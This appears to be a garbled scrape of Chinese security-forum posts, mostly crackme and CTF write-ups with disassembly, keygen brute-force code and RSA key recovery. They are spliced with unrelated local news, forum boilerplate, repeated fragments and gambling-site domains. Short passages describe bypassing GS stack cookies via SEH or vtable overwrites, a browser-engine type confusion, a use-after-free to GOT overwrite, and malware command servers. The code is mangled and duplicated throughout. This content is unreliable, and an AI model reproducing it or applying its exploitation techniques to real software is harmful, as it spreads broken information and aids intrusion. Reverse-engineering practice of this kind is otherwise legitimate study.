28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}?(唐正芳)+1而从最初的设备拆解到各个芯片子系统的深入剖析都展现了演讲者求索与收获的一段心路历程,相信现场很多的听众对于这种钻研态度都是由衷的钦佩,再考虑到目前国内外这方面的公开资料都很少,其中的难度是可想而知。恶意软件通常会尝试连接控制服务器(CC)来获取指令和释放进一步的恶意payload,因而攻击者可以在网络上进一步扩散恶意软件。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A   李新元要求,要多方联动,形成推进工作的强大合力。函数PsConvertToGuiThread()执行这一转换。可以使得基于Web的恶意软件无法运行。来源:Forcepoint安全实验室2017年10月25日本文由看雪翻译小组编译。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。(完)+12018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。 ,UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。此外在峰会现场谢君还介绍一个不需要通过软件漏洞就能Root无人机的方法,并演示了如何远程劫持一台无人机。扩大参与面,激发市民的参与热情。,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A、王荣昌是国家一级美术师,是当代画坛的画荷大家,其作品仙风道骨,古朴浑厚,高古空灵,具备诗意与古典之风骨。原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。 涉及河流的相关县市区、乡镇、村要根据实际情况,积极开展河湖拆违清障、洁岸清污、河道治理等相关工作,共筑山青水绿、天蓝地洁的良好生态环境。  贵港市委书记李新元出席开幕式并宣布第一届中国(广西·贵港)富硒农产品博览会开幕。,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A清扫者认为调用堆栈中的引用以及从旧到新的引用是根。,原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。、www.v0866.com、ida打开,定位到main函数后f5反编译mp_set_str(N,(__int64)6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189,0x10u);mp_set_str(D,(__int64)2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B,0x10u);sub_140007AD0(T,0i64);mpz_mod((__int64)T,(__int64)N,(__int64)p);if(!(unsignedint)mpz_cmp_ui((__int64)T,0i64)){mpz_divexact(q,(__int64)N,(__int64)p);if((signedint)mpz_cmp((__int64)p,(__int64)q)=0){mpz_sub_ui(p,(__int64)p,1ui64);mpz_sub_ui(q,(__int64)q,1ui64);mpz_mul((__int64)T,(__int64)p,(__int64)q);mpz_invert(T,(__int64)e,(__int64)T);v10=mpz_cmp((__int64)D,(__int64)T);v11=注册成功!!!if(!v10)gotoLABEL_16;}}通过对比gmp大数库,重命名函数名。、下面程序进行穷举:importosdeflength(number):n=numberl=0whilen0:n=n/10l+=1returnldefisok(number):res=0n=numberwhilen0:res=res*10+n%10n=n/10ifres==number:return1return0deftest(a):b2=a*9i=0whilei2:b2*=ab2*=9if(isok(b2)==1):print(%d=%d%(a,b2))breaki+=1return0defskip(a):b=1n=awhilen0:if((n%10)==0):a+=bn=n/10b=b*10returnadefmain():printskip(10089000)i=11111111whilei=99999999:i=skip(i)test(i)i+=1printoverreturn0if__name__==__main__:main()输出结果为:需要反向输入,即sn=97654321扩大参与面,激发市民的参与热情。Amnesia的作者正打算击败基于Linux的恶意软件分析沙箱,并且由于代码中的硬编码字符串(“fxxkwhitehats”)而给安全研究人员带来麻烦。参与复制的线程保留自己的本地分配缓冲区(LAB),这些缓冲区在完成复制时被合并。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08   在平南走访,绿色生态是许多种养户挂在嘴边的热词。活跃态的页面例如当前属于一个进程工作集的页面不会再任何一个链表中。同时,还加快建立西江职业教育园区,引进广西工业职业学院、物流职业技术学院,尝试为企业提供人才和技术支持。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528 OD打开程序发现OEP是0,程序被加壳或修改过。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。  在梅令村,种枣让农户们有了转型体验。,工作集整理者(WST),是内存管理器的一个组件,它运行在KeBalanceSetManager()线程的上下文,尽力去移除进程不再使用的页并重新分配它们到有需求的其他进程。从那时起,一切就都变了。它选择这三个服务器之一:ukranianhorseriding[.][.]zainversefierceapplied[.]pw自2016年12月1日起,所有这三个域名均已解析为相同的IP地址。。

链表的最后总是默认处理程序,这个默认处理程序的指针总是0xFFFFFFFFGS保护机制:Windows在(VisualStudio2003)及以后版本的VisualStudio中默认启动了一个安全编译选项——GS(针对缓冲区溢出时覆盖函数返回地址这一特征)GS保护机制是在函数即将调用的时候向栈桢压入一个DWORD的随机值,同时也向.data段中存放一个SecurityCookies,1.被压入栈中的随机值位于EBP之前.在.data段中的数据实现栈Cookies的校验2.在函数返回之前,系统将会执行一个额外的安全验证操作,被称作当校验发现栈Cookies和.data的副本不吻合则表明发生溢出4.当检测到栈中发生溢出时,系统接管异常,函数不会被正常返回,ret指令也不会被执行5.当栈中发生溢出时,SecurityCookie将被首先淹没,之后才是EBP和返回地址GS保护机制的实现细节是1系统以.data段的第一个DWORD作为Cookie的种子2每次程序运行时的Cookie的种子都不一样,随机性很强3栈桢初始化完毕后用EBP异或种子,作为当前函数的Cookie,以此区别不同函数,增强Cookie的随机性4在函数返回前,用EBP异或还原出Cookie种子绕过GS安全保护的方案1)通过覆盖SEH链表来阻止系统接管异常处理.2)通过改写C++虚表指针来控制程序流程#msvcrt采用进程堆后失效3)用一些未开启GS安全保护的函数进行溢出(可能是关键字保护)||小于四字节的Buf程序很简单,读取文件来还原溢出场景,我将print函数放在了ReadFile下面,可以看到在ShowFileInfo中Printf函数下面有一个Security_Check_Cookie这就是我们的GS缓冲区检测机制的这个函数,工程项目是realse版本的,在项目属性只开启GS。该函数一般是KiInterruptDispatch(),它负责建立一个需要去调用驱动提供的ISR的环境,该ISR由ServiceRoutine字段提供。,其中,贵港“红莲”还是独有的珍稀品种。因为对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$_SERVER方式获取。。网上赌博如此初步分析后,我想还是得看一下软件实际的运行效果(没有直接运行是怕这种软件不安全,勒索软件太可怕啊。  李新元要求,要多方联动,形成推进工作的强大合力。【南宁周边发现“活化石”版纳鱼螈】南国早报的消息,近日,南宁市动物园披露该园所承担的一项全国第二次野生动物资源调查项目的阶段性成果,表示在南宁周边发现数十种两栖爬行类动物,其中包括“活化石”版纳鱼螈,以及2015年新发布物种——广西睑虎等。,先说一下如何过反调试,调试环境为ida和android模拟器,ida卡到不行啊,羡慕有真机的。 ,OD载入,输入123456,点确定半天没反应,忽然来个内存异常。UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。这里的newArr的创建操作如下//IfthesourceobjectisanArrayexoticobjectweshouldtr*newObj=ArraySpeciesCreate(obj,0,scriptContext);JavascriptArray*newArr=nullptr;//Ifthenewobjectwecreatedisanarray,rememberthatasitwillsaveustimesettingpropertiesintheobjectbelowif(JavascriptArray::Is(newObj)){newArr=JavascriptArray::FromVar(newObj);}注意虽然进行了转换,但是最后newArr却是NativeIntArray类型=0x000001E353F7C5100x000001E353F7C5100000000000000003........0x000001E353F7C5180000000600000000........0x000001E353F7C5200000000000000000........0x000001E353F7C5280000000100000002........0x000001E353F7C5300000000380000002.......\n0x000001E353F7C5388000000280000002......\n观察接下来的取值和赋值操作可以发现问题for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}...pArr的类型为JavascriptArraynewArr的类型为JavascriptNativeIntArray这里直接从pArr中取出值放入了newArr,很明显是一个类型混淆造成这个混淆的根本原因是设置了staticget[](){returndummy;}导致返回了一个JavascriptNativeIntArray,从而与JavascriptArray造成混淆。运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017下面程序进行穷举:importosdeflength(number):n=numberl=0whilen0:n=n/10l+=1returnldefisok(number):res=0n=numberwhilen0:res=res*10+n%10n=n/10ifres==number:return1return0deftest(a):b2=a*9i=0whilei2:b2*=ab2*=9if(isok(b2)==1):print(%d=%d%(a,b2))breaki+=1return0defskip(a):b=1n=awhilen0:if((n%10)==0):a+=bn=n/10b=b*10returnadefmain():printskip(10089000)i=11111111whilei=99999999:i=skip(i)test(i)i+=1printoverreturn0if__name__==__main__:main()输出结果为:需要反向输入,即sn=976543211.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)下面通过D,e计算求得T∵e*d=1(modφ(n))∴e*d=k*φ(n)+1,其中K为任意整数。Mirai的开源代码为物联网恶意软件作者开发新的变异样本提供了一个很好的起点。,【南宁周边发现“活化石”版纳鱼螈】南国早报的消息,近日,南宁市动物园披露该园所承担的一项全国第二次野生动物资源调查项目的阶段性成果,表示在南宁周边发现数十种两栖爬行类动物,其中包括“活化石”版纳鱼螈,以及2015年新发布物种——广西睑虎等。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528,源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG]通用的内核函数诸如PsGetCurrentProcess()和KeGetCurrentThread()会利用FS/GS相对访问来从KPCR中获取信息。,www.v8749.com、www.vns30333.com、据了解,今年春运预计贵港火车站将发送旅客万人,同比增加万人,增长%,其中节前预计日均发送万人,节后预计日均发送万人。 Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);in